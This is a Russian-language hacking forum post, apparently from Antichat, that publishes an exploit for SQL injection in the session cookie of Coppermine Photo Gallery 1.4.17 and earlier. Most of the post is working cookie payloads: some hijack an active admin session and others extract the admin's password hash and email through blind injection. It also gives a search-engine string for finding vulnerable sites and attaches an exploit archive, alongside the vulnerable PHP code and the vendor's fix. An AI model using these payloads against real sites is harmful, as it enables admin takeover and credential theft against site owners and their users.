Показать сообщение отдельно

Coppermine <=1.4.17 SQL-inj Session Hijack Exploit
  #14  
Старый 25.04.2008, 02:18
Аватар для Elekt
Elekt
Banned
Регистрация: 05.12.2005
Сообщений: 982
Провел на форуме:
4839935

Репутация: 1202


Отправить сообщение для Elekt с помощью ICQ
По умолчанию Coppermine <=1.4.17 SQL-inj Session Hijack Exploit


Coppermine <=1.4.17 SQL-inj Session Hijack Exploit

1) Дата:
Пропатчена: April 11, 2008 (http://forum.coppermine-gallery.net/index.php/topic,51882.0.html)

2) Продукт: Coppermine Photo Gallery <=1.4.17

3) Уязвимость: SQL-инъекция в $_COOKIE[$this->client_id] в [/bridge/coppermine.inc.php]
Значение извлекается из куков без проверок.

4) Автор: unknown

6) Опасность: 4/10

5) Тип: удалённая

7) Описание:

Уязвимость позволяет присвоить валидную сессию админа или получить хеш пароля админа.

[1] Session hijacking
В случае существования валидной сессии (время жизни сессии 1 час) - атакующий повысит свои права до админа.

Эксплоит:

по конкретному id админа.пользователя
Cookie: [$this->client_id]=blah") or user_id=[admin_id]/*;
например:
60e8773ee5c8bcc63dac366e197055a4=hack!") or user_id=1/*;

автоопределение админской сессии
COOKIE: Cookie: [$this->client_id]=Antich@t") union select cpg14x_sessions.user_id from cpg14x_sessions,cpg14x_users where cpg14x_users.user_group=1 AND cpg14x_users.user_id=cpg14x_sessions.user_id limit 0,1/*;


[2] Хеш: перебор через more1row
COOKIE: Cookie: [$this->client_id]=Antich@t") or 1=if(ascii(substr((select concat(user_id,0x3a,user_name,0x3a,user_password,0 x3a,user_email) from cpg14x_users where user_group=1 and user_active='YES' limit 1),1,1))<=1,(select 2 union select 3),2)/*
COOKIE: Cookie: [$this->client_id]=Antich@t") or 1=if(ascii(substr((select concat(user_id,0x3a,user_name,0x3a,user_password,0 x3a,user_email) from cpg14x_users where user_group=1 and user_active='YES' limit 1),1,1))<=254,(select 2 union select 3),2)/*

9) Поиск: пример поиска приложения через поисковые системы

Powered by Coppermine Photo Gallery

10) Решение: решение для устранения уязвимости

http://forum.coppermine-gallery.net/index.php/topic,51882.0.html

Разработчик пофиксил проблему, заменив md5-sql на md5-php:

было
PHP код:
where session_id md5(" ' . $session_id . ' "); '; 
стало
PHP код:
where session_id ' " . md5($session_id) . " ' "; 

Сам уязвимый код:

PHP код:
       function session_extraction()
        {
                
// Get the session cookie value
                
$sessioncookie $_COOKIE[$this->client_id];

                
// Create the session id by concat(session_cookie_value, client_id)
                
$session_id $sessioncookie.$this->client_id;

                if (
$sessioncookie) {
        
                    
// Check for valid session
                    
$sql =  'select user_id from '.$this->sessionstable.' where session_id=md5("'.$session_id.'");'
Вложения
Тип файла: zip Coppermine =1.4.17 SQL-inj Session Hijack Exploit.zip (5.0 Кб, 63 просмотров)
 
Ответить с цитированием